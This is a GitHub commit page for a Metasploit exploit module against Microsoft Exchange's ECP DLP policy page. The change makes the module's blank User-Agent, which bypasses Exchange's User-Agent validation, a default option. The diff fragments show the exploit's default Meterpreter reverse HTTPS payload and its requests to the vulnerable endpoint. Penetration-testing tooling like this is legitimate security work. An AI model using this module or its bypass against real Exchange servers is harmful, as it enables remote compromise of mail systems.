Skip to content

Commit

Permalink
Make User-Agent consistent across requests
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Sep 16, 2020
1 parent e118ff1 commit adee1a7
Showing 1 changed file with 4 additions and 2 deletions.
6 changes: 4 additions & 2 deletions modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,7 @@ def initialize(info = {})
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
Expand All @@ -77,6 +78,9 @@ def initialize(info = {})
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])

# Deregister HttpUserAgent so it isn't exposed to the user
deregister_options('HttpUserAgent')
end

def post_auth?
Expand Down Expand Up @@ -157,7 +161,6 @@ def retrieve_viewstate
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)

Expand Down Expand Up @@ -201,7 +204,6 @@ def create_dlp_policy(viewstate)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
Expand Down

0 comments on commit adee1a7

Please sign in to comment.